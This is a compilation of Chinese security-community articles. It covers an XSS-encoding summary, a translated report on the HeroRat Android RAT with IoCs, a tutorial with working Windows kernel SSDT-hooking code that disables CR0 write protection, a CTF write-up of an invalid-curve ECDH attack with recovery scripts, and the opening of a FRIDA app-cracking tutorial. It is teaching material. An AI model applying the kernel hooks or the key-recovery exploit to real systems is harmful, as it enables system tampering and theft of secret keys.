这里的value1：浏览器看到`<`标签，可以HTML解码，然后看到`onclick`可以进行JS解码，最后看到`window.open`可以进行URL解码
对于value2而言：浏览器看到`<`标签进行一个HTML解码，然后看到`href`进行一个URL解码，再之后看到`javascript`进行一个JS解码，最后看到了`window.open`编码进行一个URL解码
总结
我们在学习了浏览器的编解码机制之后，对于一个XSS的产生有了更加明确的想法
同时对于一些XSS的方式还是要考虑不同情况分别编码
单一的靠一种编码想一劳永逸的防住XSS是不可能的。
参考资料：
<http://whip1ash.cn/2018/07/01/HTML-Javscript-self-decode/>
<https://www.yuque.com/kkdlong/eiwne5/fpl8ob?language=en-us>
<https://security.yirendai.com/news/share/26> | 社区文章 |
# 分析新型使用Telegram通信的Android木马
|
##### 译文声明
本文是翻译文章
原文地址：<https://www.welivesecurity.com/2018/06/18/new-telegram-abusing-android-rat/>
译文仅供参考，具体内容表达以及含义原文为准。
## 写在前面的话
最近ESET研究人员发现了一个新的AndroidRAT家族，在之前调查的IRRAT病毒和TeleRAT病毒的活跃程度时，我们发现了这个全新的恶意软件家族，这个家族至少从2017年8月开始就在传播。在2018年3月，它的源代码可以通过Telegram渠道免费获取，因此，数百个恶意软件变种已经在野外传播。其中一种变体与其他变体不同，它是在专门的Telegram频道上出售的，以HeroRat的名字营销。根据功能，它有三种定价模式，并附带一个支持视频频道。目前还不清楚这个变体是否由泄露的源代码创建的。
## 它如何运作？
攻击者通过第三方应用程序商店，社交媒体和消息应用程序，通过各种马甲，引诱受害者下载RAT。我们发现恶意软件主要分布在伊朗，目前该恶意软件尚未在Google
Play上看到。
恶意软件可在所有Android版本上运行：但是用户需要同意应用程序所需的权限（有时包括以管理员身份激活应用程序），这是社会工程学发挥作用的地方。
在受害者的设备上安装并启动恶意软件后，会出现一个小的弹出窗口，声称该应用程序无法在设备上运行，因此将被卸载。在我们分析的变体中，虚假的卸载消息取决于目标设备的语言设置来显示。
卸载看似完成后，应用程序的图标消失。然而，在攻击者方面，一个新的受害设备刚刚被注册。
获得对受害者设备的访问权限后，攻击者利用Telegram的bot功能来控制新感染的设备。每个受感染的设备都是通过bot控制的，并由攻击者使用Telegram应用程序设置和操作。该恶意软件具有很多功能，包括短信拦截和读取联系人信息，发送短信和拨打电话，录制音频和屏幕，获取设备位置以及控制设备的设置。
HeroRat的功能分为三个“bundles”版本——`bronze`, `silver` 和 `gold
panels`，分别销售25,50,100美元。恶意软件的功能可以通过Telegram
bot界面中的按钮的形式访问。攻击者只需点击正在运行的恶意软件版本中的按钮即可控制受害设备。
与以前分析的Android RAT不同，这是用标准的Android
Java编写的，这个新发现的恶意软件家族是使用Xamarin框架开发的——这是一种罕见的Android恶意软件组合。恶意软件通过Telegram协议进行通信的方式，而不是以前描述的rat利用的Telegram
Bot API，这个恶意软件家族还使用Telesharp，一个用c#创建Telegram Bot的库。
通过Telegram协议，通信命令和泄漏数据都完全覆盖了通信协议，这是一种旨在避免基于流量的检测，从而实现已知上传服务器的措施。
## 如何保持安全
因为恶意软件的源代码开源了，新的变种随时可以出现。为避免成为Android恶意软件的受害者，请在下载应用程序时坚持使用官方Google
Play商店，确保在将任何内容下载到设备之前阅读用户评论，并注意安装前后授予应用程序的权限。
## IoCs
Package Name | Hash | Detection
---|---|---
System.OS | 896FFA6CB6D7789662ACEDC3F9C024A0 | Android/Agent.AQO
Andro.OS | E16349E8BB8F76DCFF973CB71E9EA59E | Android/Spy.Agent.AMS
FreeInterNet.OS | 0E6FDBDF1FB1E758D2352407D4DBF91E | Android/Agent.AQO
审核人：yiwang 编辑：边边 | 社区文章 |
# r0下的进程保护
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
进程保护是众多AV或者病毒都要所具备的基础功能，本文就0环下通过SSDT来对进程进行保护进行探究，SSDT也不是什么新技术，但作为学习，老的技术我们同样需要掌握。
## 什么是SSDT
SSDT 的全称是System Services Descriptor Table，系统服务描述符表。
首先要明确的是他是一张表，通过windbg查看这张表。
dd KeServiceDescriptorTable
> 这个表就是一个把 Ring3 的 Win32 API 和 Ring0 的内核 API 联系起来。
当我们在r 3调用一个API时，实际上调用的是一个接口，这里拿`ReadProcessMemory`举例。
ReadProcessMemory函数在kernel32.dll中导出，通过断点可以找到对应的反汇编代码。在汇编代码中，可以看到ReadProcessMemory调用了ntdll.dll中的ZwReadVirtualMemory函数。
在ZwReadVirtualMemory函数开始的地方下断点。
bp ZwReadVirtualMemory
实际上功能代码也没有在ZwReadVirtualMemory函数中实现，只是拿着一个索引号并跳转到一个地址。
这个索引号实际上就是SSDT表中的索引号，回到windbg，我们现在拿到索引号0xBA去SSDT表中找。
kd> dd KeServiceDescriptorTable
80553fa0 80502b8c 00000000 0000011c 80503000
80553fb0 00000000 00000000 00000000 00000000
80553fc0 00000000 00000000 00000000 00000000
80553fd0 00000000 00000000 00000000 00000000
80553fe0 00002710 bf80c0b6 00000000 00000000
80553ff0 f8b67a80 f82e7b60 821bfa90 806e2f40
80554000 00000000 00000000 22bc349b 00000001
80554010 afa8a15b 01d7eb4f 00000000 00000000
kd> dd 80502b8c + 0xba*4
80502e74 805aa712 805c99e0 8060ea76 8060c43c
80502e84 8056f0d2 8063ab56 8061aca8 8061d332
80502e94 8059b804 8059c7cc 8059c1d4 8059baee
80502ea4 805bf456 80598d62 8059908e 805bf264
80502eb4 806064b6 8051ee82 8061cc3e 805cbd40
80502ec4 805cbc22 8061cd3a 8061ce20 8061cf48
80502ed4 8059a07c 8060db50 8060db50 805c892a
80502ee4 8063d80e 8060be28 80607fb8 8060882a
kd> u 805aa712
可以看到在0环调用的是NtReadVirtualMemory，这实际上才是真正实现功能的地方。而SSDT将r 3和r 0联系到一起。
## SSDT结构
在 NT 4.0 以上的 Windows 操作系统中，默认就存在两个系统服务描述表，这两个调度表对应了两类不同的系统服务，
这两个调度表为：KeServiceDescriptorTable 和 KeServiceDescriptorTableShadow，
其中 KeServiceDescriptorTable 主要是处理来自 Ring3 层 Kernel32.dll 中的系统调用，
而 KeServiceDescriptorTableShadow 则主要处理来自 User32.dll 和 GDI32.dll 中的系统调用，
并且 KeServiceDescriptorTable 在 ntoskrnl.exe(Windows 操作系统内核文件，包括内核和执行体层)是导出的，
而 KeServiceDescriptorTableShadow 则是没有被 Windows 操作系统所导出，
而关于 SSDT 的全部内容则都是通过 KeServiceDescriptorTable 来完成的。
SSDT表的结构通过结构体表示为如下：
typedef struct _KSERVICE_TABLE_DESCRIPTOR
{
KSYSTEM_SERVICE_TABLE ntoskrnl; // ntoskrnl.exe 的服务函数
KSYSTEM_SERVICE_TABLE win32k; // win32k.sys 的服务函数(GDI32.dll/User32.dll 的内核支持)
KSYSTEM_SERVICE_TABLE notUsed1;
KSYSTEM_SERVICE_TABLE notUsed2;
} KSERVICE_TABLE_DESCRIPTOR, * PKSERVICE_TABLE_DESCRIPTOR;
其中每一项又是一个结构体：`KSYSTEM_SERVICE_TABLE`。通过结构体表示为如下：
typedef struct _KSYSTEM_SERVICE_TABLE
{
PULONG ServiceTableBase; // SSDT (System Service Dispatch Table)的基地址
PULONG ServiceCounterTableBase; // 用于 checked builds, 包含 SSDT 中每个服务被调用的次数
ULONG NumberOfService; // 服务函数的个数, NumberOfService * 4 就是整个地址表的大小
ULONG ParamTableBase; // SSPT(System Service Parameter Table)的基地址
} KSYSTEM_SERVICE_TABLE, * PKSYSTEM_SERVICE_TABLE;
通过看图形化界面可以更加直观，下图是ntoskrnl.exe和win32k.sys的服务函数结构。
## HOOK SSDT
有了上面的知识储备，理解SSDT HOOK就很容易了。
当3环程序执行后，操作系统拿着索引去SSDT表中找对应的0环程序，这时我们就可以在SSDT表中做点手脚，将某一个api函数的指针改成我们自己函数的指针，这样执行的将会是我们自己的代码。
首先需要定义我们自己的函数
ULONG g_Pid = 568;
NTSTATUS NTAPI MyOpenProcess(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId)
{
NTSTATUS status;
status = STATUS_SUCCESS;
//当此进程为要保护的进程时
if (ClientId->UniqueProcess == (HANDLE)g_Pid)
{
//设为拒绝访问
DesiredAccess = 0;
}
return NtOpenProcess(ProcessHandle, DesiredAccess, ObjectAttributes, ClientId);
}
g_Pid定义为全局的，我们想保护哪个进程就将该进程的pid赋值给g_Pid。
比如这里就保护Dbgview.exe。
这里函数准备好以后，就要将该函数的指针覆盖原来NtOpenProcess的指针。但是需要注意的是：我们自己改自己的代码是不用管权限的，改别人的代码很有可能这块内存是只读的，并不可写。
那么本质上就是SSDT对应的物理页是只读的，这里有两种办法，我们都知道物理页的内存R/W位的属性是由PDE和PTE相与而来的，那么我们就可以改变SSDT对应的PDE和PTE的R/W属性，将物理页设置为可读可写的。通过CR4寄存器判断是2-9-9-12分页还是10-10-12分页。
if(RCR4 & 0x00000020)
{//说明是2-9-9-12分页
KdPrint(("2-9-9-12分页 %p\n",RCR4));
KdPrint(("PTE1 %p\n",*(DWORD*)(0xC0000000 + ((HookFunAddr >> 9) & 0x007FFFF8))));
*(DWORD64*)(0xC0000000 + ((HookFunAddr >> 9) & 0x007FFFF8)) |= 0x02;
KdPrint(("PTE1 %p\n",*(DWORD*)(0xC0000000 + ((HookFunAddr >> 9) & 0x007FFFF8))));
}
else
{//说明是10-10-12分页
KdPrint(("10-10-12分页\n"));
KdPrint(("PTE1 %p\n",*(DWORD*)(0xC0000000 + ((HookFunAddr >> 10) & 0x003FFFFC))));
*(DWORD*)(0xC0000000 + ((HookFunAddr >> 10) & 0x003FFFFC)) |= 0x02;
KdPrint(("PTE2 %p\n",*(DWORD*)(0xC0000000 + ((HookFunAddr >> 10) & 0x003FFFFC))));
}
还有一种方式就是通过Cr0寄存器。CR0寄存器的第16位叫做保护属性位，控制着页的读或写属性。
WP为1 时, 不能修改只读的内存页 , WP为0 时, 可以修改只读的内存页。那么我们就可以将WP位置为0，暂时关闭可读属性。
VOID PageProtectOn()
{
__try
{
_asm
{
mov eax, cr0
or eax, 10000h
mov cr0, eax
sti
}
}
__except (1)
{
DbgPrint("PageProtectOn执行失败！");
}
}
VOID PageProtectOff()
{
__try
{
_asm
{
cli
mov eax, cr0
and eax, not 10000h //and eax,0FFFEFFFFh
mov cr0, eax
}
}
__except (1)
{
DbgPrint("PageProtectOff执行失败！");
}
}
可以修改SSDT表后，就要写函数来修改NtOpenProcess指针，也就是我们的HOOK函数。
NTSTATUS _hook()
{
NTSTATUS status;
status = STATUS_SUCCESS;
PageProtectOff();
PoldAddress = KeServiceDescriptorTable->ntoskrnl.ServiceTableBase[0x7a];
KeServiceDescriptorTable->ntoskrnl.ServiceTableBase[0x7a] = (ULONG)MyOpenProcess;
PageProtectOn();
return status;
}
在修改SSDT表前先关闭物理页保护，修改完后要开启物理页保护，保证其他任务能够顺利完成。这里的索引可以通过ida或者debug工具去看。
然后就是卸载钩子，用于驱动卸载的时候使用。
NTSTATUS _unhook()
{
NTSTATUS status;
status = STATUS_SUCCESS;
PageProtectOff();
KeServiceDescriptorTable->ntoskrnl.ServiceTableBase[0x7a] = PoldAddress;
PageProtectOn();
return status;
}
最后是入口和卸载函数
VOID DriverUnload(PDRIVER_OBJECT driver)
{
_unhook();
DbgPrint("卸载了。。。。。\n");
}
NTSTATUS DriverEntry(PDRIVER_OBJECT driver, PUNICODE_STRING reg_path)
{
_hook();
DbgPrint("跑起来了。。。\n");
driver->DriverUnload = DriverUnload;
return STATUS_SUCCESS;
}
最后编译，加载驱动，当我们尝试用任务管理器杀死Dbgview时会被拒绝。
如果通过taskkill同样不行。
## 后记
在SSDT上写钩子，在0环是最低级的方式，可以看到编写代码十分简单，但是也是非常容易被检测的，比如我们通过PChunter这样的内核工具去看一下。
可以看到NtOpenProcess赫然在列。实际上SSDT已作为基础需要被了解。 | 社区文章 |
# 浅尝ECC 之 NCCIP attack
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
在刚结束的De1CTF中，遇到了自己不怎么常见的有关ECC问题的一道密码学的题目。由于自己之前没怎么接触过，再加上走了点弯路，自己肝了快一天才把这题做出来。做出来后觉得这个问题也挺有意思的，于是记此文章以记录，若有不当之处，还请大佬们斧正。
## De1CTF – ECDH
[赛题附件](https://github.com/JayxV/JayxV.github.io/blob/master/2020/05/05/NCCIP/ECDH.zip)在这里，然后审计代码之后，可以把这个问题概括为：
1. 题目用的是标准曲线：y^2 ≡ x^3 +ax + b (mod p)，并提供a,b,p
2. 函数 Exchange：ECDH问题，生成共享密钥时你提供一个点P，他会用自己的私钥，secret*P生成协商密钥key
3. 函数 Encrypt：用key加密你的输入，加密方式为将key的x和y拼接后于输入简单异或
4. 函数 Backdoor：输入服务端secret值，返回flag
整体流程算是一个标准的ECDH，但在标准的ECDH中，一方应该是无法计算出另一方的私钥的，否则这个算法就GG了。而这一题的漏洞就在于，在密钥交换的过程中，服务端并没有检查你提供的点是否在规定好的曲线上。所以这里的攻击方式就是”No
Correctness Check for Input Points” (NCCIP) attacks。
由有限域上椭圆曲线上整数点的加法计算式：
设：已知曲线 y^2 ≡ x^3 +ax + b (mod p) 和 P(x1,y1) 和 Q(x2,y2) ，我们计算R(x3,y3) = P + Q
x3 ≡ k2-x1 – x2 (mod p)
y3 ≡ k(x1-x3) – y1 (mod p)
若P = Q 则 k = (3*x2+a)/(2y1) mod p
若P ≠ Q，则k = (y2-y1)/(x2-x1) mod p
曲线的阶与b值有关，但是我们发现，在整个加法、乘法（从加法引申到乘法是一件极其自然的事）计算的过程中，点R却与曲线的b值无关，所以，如果更改b的值，生成一条新的曲线，且这个曲线的阶有一个很小的因子，比如只有7，那么这个曲线上一定会有阶为7的点。如果我们将这个点传给服务端。而服务端没有检查我们这个点的合法性，直接拿来计算生成key，会产生怎么样的后果呢？
我们假设点P的阶为7，即 7*P = O∞，再设secret值为31
那么服务端就会计算31*P ≡ 3P
由于阶很小，我们可以遍历得到 key = 3P，等价于，我们知道了secret % 7 = 3
所以，我们只要多找这么几个低阶点，多得到几条这样的同余式，最后利用CRT就可以恢复secret了。
【呃，再简要说明一下我们的操作叭，我们更改了b的值，造了一条新的曲线，并且在上面找了一个低阶点。而这个点拿去服务端运算，运算只需要这个点的x坐标，y坐标和曲线的a值，所以可以理解为，因为服务端没有检查输入点的合法性，导致，服务端用的曲线被我们窜改了。】
### step1-找到有低阶点的曲线
我们要找到低阶点，我们就先要找到一条阶有小因子的曲线。
由于sympy分解大数速度似乎有点慢，于是我们直接更改b的值，生成一条新的曲线，然后计算、再去[在线平台](http://www.factordb.com/)分解这条曲线的阶，看看是否有小因子。
有一条曲线，但是上面的生成元点怎么找呢？这里我们改一改，先确定一个点，然后再去确定b值从而确定曲线，然后去计算、分解这个点的阶。
x = 0xb55c08d92cd878a3ad444a3627a52764f5a402f4a86ef700271cb17edfa739ca
y = 20
q = 0xdd7860f2c4afe6d96059766ddd2b52f7bb1ab0fce779a36f723d50339ab25bbd
a = 0x4cee8d95bb3f64db7d53b078ba3a904557425e2a6d91c5dfbf4c564a3f3619fa
for _ in range(60):
y+=1
b = (y**2 - x**3- a*x)%q
ecc = EllipticCurve(GF(q), [a,b])
G = ecc(x,y)
print(y)
print(G.order())
### step2-找到低阶点
有一条阶有小因子的线了，有上面的一个点G，且知道它的阶了，低阶点怎么找呢？
这里有一个很简单的道理，我们知道，77，可以等于7乘以11，也可以等于11乘以7。所以，如果我们这个点G的阶是77，那么，7*P的阶就是11，11*P的阶就是7了。
这里，我们通过上面的脚本得到一个阶为2 * 3 * 5^2 * 83 * 13313 * 45413
*6654245328558174325218919079449691616264872121315671061356825923的点G，从而我们可以得到阶分别为2，3，5，83，13313的点（后面的就不要了，阶太大，之后遍历耗时也太长了，大概一万左右的是我们可以接受的。）
下面的脚本就可以得到一个阶为83的点P
x = 0xb55c08d92cd878a3ad444a3627a52764f5a402f4a86ef700271cb17edfa739ca
q = 0xdd7860f2c4afe6d96059766ddd2b52f7bb1ab0fce779a36f723d50339ab25bbd
a = 0x4cee8d95bb3f64db7d53b078ba3a904557425e2a6d91c5dfbf4c564a3f3619fa
y = 314
b = (y^2 - x^3- a*x)%q
ecc = EllipticCurve(GF(q), [a,b])
G = ecc(x,y)
print(G * 2 * 3 * 5^2 * 13313 * 45413 *6654245328558174325218919079449691616264872121315671061356825923)
### step3-计算协商密钥
我们将这个点P当做我们的公钥传给服务端，他会用secret*P 计算协商密钥key
需要说明的是，由于我们破坏了规则，导致服务端的公钥已经不能用了，况且，其实我们自己也不知道自己的私钥是啥。所以这个协商密钥我们还得利用加密函数来获取。
具体操作见下面交互脚本
sh.recvuntil("choice:n")
sh.sendline("Encrypt")
sh.recvuntil("hex):n")
mess = "a"*512
sh.sendline(mess)
sh.recvuntil("The result is:n")
res = sh.recvuntil("n")[:-1]
key = int(mess,16)^int(res,16)
x , y = key >> q.bit_length() , key & ((1 << q.bit_length()) - 1)
G = (x,y)
由于q是256位的，所以key是512位，所以我们传个512位的明文过去。然后异或回来，分离一下，我们就可以得到secret*P这个点了。
### step4-计算secret的一个剩余
知道key了，我们就可以遍历计算secret关于这个低阶的剩余了
G = (x,y) #key
Q = (int(each[0]),int(each[1])) #我们找到的低阶点Q
for i in range(1,int(each[2])):
if mul(i,Q) == G:
reslist.append(i) #secret的剩余
N.append(int(each[2]));print (i,int(each[2])) #secret的剩余对应的阶
break
### step5-利用CRT计算secret
def CRT(mi, ai):
M = reduce(lambda x, y: x * y, mi)
ai_ti_Mi = [a * (M / m) * inverse(M / m, m) for (m, a) in zip(mi, ai)]
return reduce(lambda x, y: x + y, ai_ti_Mi) % M
secret = CRT(N, reslist)
完整exp放在[这里](https://github.com/JayxV/JayxV.github.io/blob/master/2020/05/05/NCCIP/ECDH-exp.zip)了。
## 总结
个人认为，NCCIP问题主要还是因为服务端的曲线被窜改为阶有小因子的不安全的曲线，从而造成了私钥部分信息的泄露。通过这个问题，自己对ECC也有了更进一步的认识。 | 社区文章 |
# 威胁情报从哪儿来，你知道吗？
##### 译文声明
本文是翻译文章，文章原作者 CyberThreatAnalyst，文章来源：CyberThreatAnalyst
原文地址：<https://mp.weixin.qq.com/s/fFITxkqt78vTJ_9Fpi9UYw>
译文仅供参考，具体内容表达以及含义原文为准。
威胁情报是什么？看看官方的一些解释，引用百度百科的内容：
根据Gartner对威胁情报的定义，威胁情报是某种基于证据的知识，包括上下文、机制、标示、含义和能够执行的建议，这些知识与资产所面临已有的或酝酿中的威胁或危害相关，可用于资产相关主体对威胁或危害的响应或处理决策提供信息支持
实际上从安全从业者的角度，我们所理解的狭义的威胁情报，就是一些安全威胁指标，针对于不同的安全产品，会有不同的威胁指标，一般的威胁指标，比方：文件HASH、IP地址、域名URL、漏洞规则、邮箱地址等等，这些威胁指标就是安全产品所需要的威胁情报，安全产品的核心就是这些威胁情报，如果没有这些威胁情报，安全产品就没法体现它的安全能力了
最近几年安全圈里都在谈威胁情报，通过态势感知发现未知安全风险等等，态势感知的核心就是威胁情报，通过产品中集成的各种威胁情报数据检测模型，及时发现客户可能受到的一些安全攻击，或存在的安全问题，然后给客户威胁告警
现在流行使用各种大屏展示态势感知产品，看起来非常高上大，实际上看一个态势感知产品能力的好坏，并不是看大屏是否炫酷，要看它里面的威胁情报数据是否准确，能否及时有效的识别潜在的安全风险，如果界面做的很炫酷，然而里的威胁情报数据都是不准确的，或没有足够多的威胁情报数据，也没办法正确检测出存在的安全风险，态势感知产品的核心是通过把获取到的威胁情报数据进行后台分析处理，关联，然后形成各种检测模型对环境进行实时监控，发现恶意威胁，及时给客户提供相应的预警
现在的各个厂商在一些安全大会上都在宣传自己的态势感知系统，大家讨论的重点都是AI+大数据，谈的都是数据安全，讲的都是人工智能、机器学习，然而有一个最重要的问题，却谈的很少，甚至基本不谈，就是他们这些产品的大数据怎么来？这里所说的大数据就是威胁情报数据，他们是从哪里获取这些威胁情报数据，因为只有收集到了足够多的威胁情报，才有大数据，有了大数据才能运用AI算法，同时机器学习是需要不断自我学习各种有效的威胁情报数据，才能让AI发挥最大的效用，如果学习的威胁情报数据都是错误的，或不准确的，那又怎么识别威胁呢？不会产生很多误报吗？这里我就不谈AI+大数据了，就谈谈怎么获取有效的威胁情报数据，也欢迎与大家一起研究讨论
一般的威胁情报数据的来源，主要有以下几个渠道：
1.寻找安全公司购买
2.开源威胁数据采集
3.安全公司安全运营
寻找安全公司购买
一类安全产品类公司需要一些基础的威胁情报数据，就会找另一些安全公司购买威胁情报数据或采取合作的方式进行数据交换，然后将获取到这些威胁情报数据进行分析处理，集成到自己的安全产品中，从而提高自身安全产品的安全能力，这种方法最直接有效，不过获取到的数据是否有效和准确就需要自己去分析和处理了，还一类非安全类公司由于业务需要，也会向一些安全公司购买威胁情报数据，应用于企业业务保障系统中，防止企业务受到损失
开源威胁数据采集
一些安全公司的运维人员，会从各种不同的开源威胁情报平台或网站收集各种开源的威胁情服，将这些开源的威胁情报数据，加入到自己的产品中
简单列举几个开源的威胁数据网站：
<https://www.malware-traffic-analysis.net>
这个网站非常不错，并且还在不断的更新样本，里面提供了大量的恶意样本，以及流量数据包等，可以从这个网站收集到各种恶意样本的HASH、IP地址、域名和流量信息等，然后进行分析整理，然后集成到自己的安全产品中
<https://virusshare.com/>
这是一个恶意样本分享网站，里面包含大量恶意样本HASH或MD5值，一些安全公司的运维人员会把这些HASH或MD5值集成到自己的产品中，以提高自身产品的安全能力，如下所示：
安全公司的运维人员还需要时刻关注国内外安全公司的博客，可以收集他们发布的一些安全事件新闻报告，看能不能从这些报告中提取有用的威胁情报数据，比方：样本HASH、最新公布的漏洞、URL、IP地址等，我之前有收集各种国外的安全公司的博客以及网站，网址：
<https://github.com/pandazheng/SecuritySite>
这些安全公司的博客会时不时发布各种安全分析报告，大部分的报告中都有提到IOC，这些IOC也可以做为威胁情报数据加入到自己的安全产品中
上面列举了几个简单的开源威胁情报数据网站和相关来源，更多威胁情服数据信息，可以参考如下网站：
<https://start.me/p/rxRbpo/ti>
里面包含各种威胁情报数据的网站、平台、查询网址以及数据资源等，大家可以好好研究一下
安全公司安全运营
作为一家专业的安全公司，都是靠安全运营的，之前提到一些安全公司会向另外一些安全公司购买或合作交换相应的数据，那么这些安全公司的原始数据又从哪里来的呢？
一家安全公司的核心资产就是这些安全数据，这些安全数据也就是我们现在说的威胁情报，然而原始安全数据积累是需要一个长期的过程的，一些老牌的安全公司都会有自己的安全数据库，比方：样本库、URL库等
一些终端安全公司都有端点产品，很多安全公司的终端数量达几千万，几亿之多，这些终端安全产品会从用户那里收集数据，以前2C的安全公司终端安全产品通过引擎扫描，会收集客户主机上的恶意样本，然后上传到服务器端，这些收集的恶意样本会经过安全公司的后台分析处理，形成不同的样本库，黑库，灰库等，还有一些安全公司会建立自己的白库，同时还有一些样本是客户自己提交的，客户直接将样本提交到了这些安全公司的论坛网站，客户只要认为是恶意样本，就会提交给安全公司，然后由安全公司进行分析和处理，通过建立自己的安全论坛，也收集了大量的恶意样本、HASH值、IP、URL等
安全公司对收集回来的样本大部分是通过自动化沙箱处理的，然后将得到的相关数据，存到威胁情报数据库平台中，不过这部分威胁情报数据还需要专业的人士进行鉴别，自动化沙箱处理的威胁情报很难保证精确性和有效性，同时也不能保证数据都是恶意的，所以需要安全人员进行二次筛选，还有一少部分样本是能过人工分析的，这部分人工分析的样本，主要是看样本的灰度，如果灰度比较大的恶意样本，说明样本感染范围比较大，也比较紧急，就需要专业的安全分析师对样本进行详细分析，对捕获到这些最新的样本进行精确分析提取，这些通过人工提取的威胁情报，具有很高的实时性，价值也是最大，可以直接应用到安全产品中，及时有效的解决客户的安全问题，同时通过人工分析的威胁情报数据，还可以做为相应的规则的原始数据应用于威胁情服系统中，进行关联分析，这种通过人工分析出来的威胁情报，也是对企帮助最大的，当然这部分能过人工分析处理的数据也是一些专业威胁情报公司收费最贵的威胁情报数据
专业的安全公司会搭建的各种蜜罐系统进行样本的捕获，对捕获到这些恶意样本，进行分析处理，从中获取到一些威胁情报数据
安全公司还会开发一些在线的沙箱，通过这些沙箱可以用来收集客户上传的恶意样本，有些客户发现了恶意样本之后，无法进行分析处理，不知道样本是否存在恶意行为，或者是否为恶意样本，可以通过将样本提交这些在线的自动化沙箱，能过这些在线的沙箱运行这些恶意样本，得到是否为恶意样本，同时安全公司的这些在线沙箱也可以通过这种方式获取更多的恶意样本等
分享几个开源的威胁情报和样本分析平台
微步在线<https://x.threatbook.cn/>
沙箱地址<https://s.threatbook.cn/>
天际友盟<https://redqueen.tj-un.com/IntelHome.html>
启明星辰<https://www.venuseye.com.cn/>
VirusTotal威胁情报中心<https://www.virustotal.com>
在线沙箱AnyRun<https://app.any.run/>
IBM威胁情报中心<https://exchange.xforce.ibmcloud.com/>
Hybrid-Analysis分析平台<https://www.hybrid-analysis.com/>
流量分析平台Packettotal<https://packettotal.com/>
URL查询网站：<https://urlscan.io/>
一类非安全类公司的信息安全主管、网络运维人员等会通过上面这些的威胁情报平台查询威胁情报数据来判断企业是否存在安全风险和安全隐患，比方：企业IT运维人员发现了一台服务器在不断对外面某个IP地址发送相应的数据，并且监控到了这个外部IP地址，然而企业IT运维人员并不能确认这个IP是否为恶意的服务器地址，就需要能过一些威胁平台网站进行查询，获到到一些参考和帮助，如果找到了相应的样本，还可以提供到这些平台，进行进一步的分析和处理
现在各大厂商都在建设自己的威胁情报平台，有些是公开的，有些是收费查询的，威胁情报的好与坏，在未来安全应用中起着非常重要的作用，熟练使用各种威胁情报系统与平台也是各个企业安全运维人员必备的知识与技能，实时有效准确的威胁情报数据成为了这些安全企业的核心资产，如何能够获取更多有效的威胁情报数据和准确应用这些威胁情报数据成为了各安全企业研究的重点
本文转自：[CyberThreatAnalyst](https://mp.weixin.qq.com/s/fFITxkqt78vTJ_9Fpi9UYw) | 社区文章 |
# 【技术分享】利用FRIDA攻击Android应用程序（三）
|
##### 译文声明
本文是翻译文章，文章来源：codemetrix
原文地址：<https://www.codemetrix.net/hacking-android-apps-with-frida-3/>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[ **houjingyi233**](http://bobao.360.cn/member/contribute?uid=2802394681)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
****
传送门
[](http://bobao.360.cn/learning/detail/3641.html)
[【技术分享】利用FRIDA攻击Android应用程序（一）](http://bobao.360.cn/learning/detail/3641.html)
[**【技术分享】利用FRIDA攻击Android应用程序（二）**](http://bobao.360.cn/learning/detail/3634.html)
**
**
**前言**
在我的有关frida的第二篇博客发布不久之后，[@muellerberndt](https://twitter.com/muellerberndt)决定发布另一个OWASP
Android crackme，我很想知道是否可以再次用frida解决。如果你想跟着我做一遍，你需要下面的工具。
[**OWASP Uncrackable Level2 APK**](https://github.com/OWASP/owasp-mstg/blob/master/OMTG-Files/02_Crackmes/01_Android/Level_02/UnCrackable-Level2.apk)
[**Android SDK和模拟器**](https://developer.android.com/studio/index.html)
**(我使用的是Android 7.1 x64镜像)**
[**frida**](https://www.codemetrix.net/hacking-android-apps-with-frida-3/frida.re) **(和**[ **frida-server**](https://github.com/frida/frida/releases) **)**
[**bytecodeviewer**](https://bytecodeviewer.com/)
[**radare2**](https://radare.org/) **(或您选择的其他一些反汇编工具)**
[**apktool**](https://ibotpeaches.github.io/Apktool/)
如果您需要知道如何安装Frida，请查看Frida文档。对于Frida的使用，您还可以检查本教程的第[I](https://www.codemetrix.net/hacking-android-apps-with-frida-1/)部分。我假设你在继续之前拥有上面的工具，并且基本熟悉Frida。另外，确保Frida可以连接到您的设备/模拟器(例如使用frida-ps
-U)。我将向您展示各种方法来克服具体的问题，如果您只是寻找一个快速的解决方案，请在本教程末尾查看Frida脚本。注意：如果使用frida遇到了
Error: access violation accessing 0xebad8082
或者类似的错误，从模拟器中擦除用户数据，重新启动并重新安装该apk可能有助于解决问题。做好可能需要多次尝试的准备。该应用程序可能会崩溃，模拟器可能会重新启动，一切可能会搞砸，但是最终我们会成功的。
**第一次尝试**
和UnCrackable1 一样，当在仿真器中运行它时，它会检测到它是在root设备上运行的。
我们可以尝试像前面一样hook OnClickListener。但首先我们来看看我们是否可以连接frida开始tampering。
有两个名称相同的进程，我们可以通过frida-ps -U验证一下。
我们来试试将frida注入父进程。
这里发生了什么？我们来看看应用程序吧。解压缩apk并反编译classes.dex。
package sg.vantagepoint.uncrackable2;
import android.app.AlertDialog;
import android.content.Context;
import android.content.DialogInterface;
import android.os.AsyncTask;
import android.os.Bundle;
import android.support.v7.app.c;
import android.text.Editable;
import android.view.View;
import android.widget.EditText;
import sg.vantagepoint.a.a;
import sg.vantagepoint.a.b;
import sg.vantagepoint.uncrackable2.CodeCheck;
import sg.vantagepoint.uncrackable2.MainActivity;
public class MainActivity
extends c {
private CodeCheck m;
static {
System.loadLibrary("foo"); //[1]
}
private void a(String string) {
AlertDialog Dialog = new AlertDialog.Builder((Context)this).create();
Dialog.setTitle((CharSequence)string);
Dialog.setMessage((CharSequence)"This in unacceptable. The app is now going to exit.");
Dialog.setButton(-3, (CharSequence)"OK", (DialogInterface.OnClickListener)new /* Unavailable Anonymous Inner Class!! */);
Dialog.setCancelable(false);
Dialog.show();
}
static /* synthetic */ void a(MainActivity mainActivity, String string) {
mainActivity.a(string);
}
private native void init(); //[2]
protected void onCreate(Bundle bundle) {
this.init(); //[3]
if (b.a() || b.b() || b.c()) {
this.a("Root detected!");
}
if (a.a((Context)this.getApplicationContext())) {
this.a("App is debuggable!");
}
new /* Unavailable Anonymous Inner Class!! */.execute((Object[])new Void[]{null, null, null});
this.m = new CodeCheck();
super.onCreate(bundle);
this.setContentView(2130968603);
}
public void verify(View view) {
String string = ((EditText)this.findViewById(2131427422)).getText().toString();
